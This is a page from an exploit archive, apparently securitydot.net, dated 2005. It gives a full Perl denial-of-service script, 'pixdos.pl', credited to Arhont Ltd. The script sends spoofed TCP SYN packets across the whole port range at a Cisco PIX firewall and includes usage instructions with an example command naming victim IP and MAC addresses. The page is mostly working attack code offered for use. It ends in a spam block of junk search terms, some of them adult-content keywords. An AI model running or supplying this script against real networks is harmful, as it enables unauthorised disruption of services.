about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Cisco PIX Spoofed TCP SYN Packets Handling Remote Denial of Service Exploit



2005-11-23 Cisco PIX Spoofed TCP SYN Packets Handling Remote Denial of Service Exploit
Rated as : Low Risk 

#!/usr/bin/perl
eval ("use Getopt::Long;");die "[error] Getopt::Long perl
module is not installed \n" if $@;
eval ("use Net::RawIP;");die "[error] Net::RawIP perl
module is not installed \n" if $@;
eval ("use Term::ProgressBar;");
die "[error] Term::ProgressBar perl module is not installed \n"
if $@;
my $VERSION = "0.1";
print "$0, $PgmName, V $VERSION \n";
GetOptions ( 
"help" =>\$usage,
"device=s" => \$device, 
"source=s" =>\$sourceip,
"dest=s"=>\$destip,
"sourcemac=s"=>\$sourcemac,
"destmac=s"=>\$destmac,
"port=n"=> \$tcpport,
);

######################## Config option ####################

my $timeout = "0,1"; # Timeout

if ($usage) {&usage;} 

if (!$device) {
$device= 'eth0'; # Network device
}

if (!$destmac) {print "Dest MAC not found \n"; &usage;}
if (!$sourceip) {print "Source IP not found \n"; &usage;}
if (!$destip) {print "Dest IP not found \n"; &usage;}
if (!$tcpport) {print "TCP port not found \n"; &usage;}

my $syn="1"; # TCP SYN SET
my $tcpdata = "TEST"; # TCP payload
my $count=0;

######################################################

#Initialize Progres Bar 
my $progress = Term::ProgressBar->new(32768);
$progress->minor(0);
$packet = new Net::RawIP;
$packet-> ethnew($device);


if (!$sourcemac) {
$packet -> ethset( dest => $destmac);
}else { 
$packet -> ethset( source =>$sourcemac, dest => $destmac);
}



for ($count=0; $count< 65537 ; $count++) {

$packet->set({

ip => {
saddr => $sourceip,
daddr => $destip 
},

tcp => {
check => 0x0010 , # TCP Packet Checksum 0 for auto correct
source => $count,
dest => $tcpport,
syn => $syn,
data => $tcpdata
}});
$packet->ethsend($timeout);
#$packet->send($timeout);

$progress->update($_);
$count++;
}

sub usage {
print <<EOF ;
This program was originally written in the due course of writing
"Hacking Exposed Cisco Networks: Cisco Security Secrets and
Solutions" book.
Tool author - Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs

and comments to info@arhont.com 

usage: $0 [ --device=interface ] [--source=IP] [--dest=IP]
[--sourcemac=MAC]
[--destmac=MAC] [--port=n]

Options:

--help This message
--device Network interface (defaut set eth0)
--source Victim source IP
--dest Victim destination IP
--sourcemac Victim source MAC
--destmac MAC Address of the gateway
--port TCP port 

Example: ./pixdos.pl --device eth0 --source 192.168.44.10 --dest
192.168.55.111 \
--sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22 
EOF

exit shift;
}
securitydot.net - 2005-11-23

Advertising

Copyright 2007, SecurityDot
Fri, 27 Nov 2009 22:09:34 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
PERL 5.8.5 isc bind Cewe.ngent Pinkyxxx.c AppServ Op :/security sexg5 Vidieo sex Coji global ann bios /search/ex purnhup foto bugil zeroboard. language f www.sexs.c z...php?op zeroboard. Zeroboard Zeroboard- www.tamilb www.zt101. elena grim hacking ph www.smusex vedeo+free 4.1.2 Video sex win4bsd Viedo.sex purnhup /search/ex sexen php wordwr sexen abhi zeroboard www.pkubos tamalsex zeroboard. www.pk2010 asisex www.zt101. /search/ex Porno vidy taktaz Wap.Phoner www.zt101. megadeth